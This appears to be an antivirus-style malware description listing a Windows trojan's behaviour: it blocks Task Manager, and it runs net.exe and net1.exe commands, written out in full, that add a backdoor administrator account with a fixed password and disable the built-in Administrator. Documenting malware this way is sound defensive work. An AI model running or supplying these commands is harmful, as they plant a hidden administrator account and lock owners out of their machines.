Technical Information
Malicious functions:
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
Executes the following:
- '<SYSTEM32>\net1.exe' localgroup Administrators РиТЄГЬВлјУQQ:2783057630 /add
- '<SYSTEM32>\net.exe' user Administrator /active:no
- '<SYSTEM32>\net1.exe' user Administrator /active:no
- '<SYSTEM32>\net1.exe' user РиТЄГЬВлјУQQ:2783057630 /active:yes
- '<SYSTEM32>\net.exe' user РиТЄГЬВлјУQQ:2783057630 /active:yes
- '<SYSTEM32>\net.exe' user РиТЄГЬВлјУQQ:2783057630 13441344 /add
- '<SYSTEM32>\net1.exe' user РиТЄГЬВлјУQQ:2783057630 13441344 /add
- '<SYSTEM32>\net.exe' localgroup Administrators РиТЄГЬВлјУQQ:2783057630 /add
Miscellaneous:
Searches for the following windows:
- ClassName: 'Progman' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''
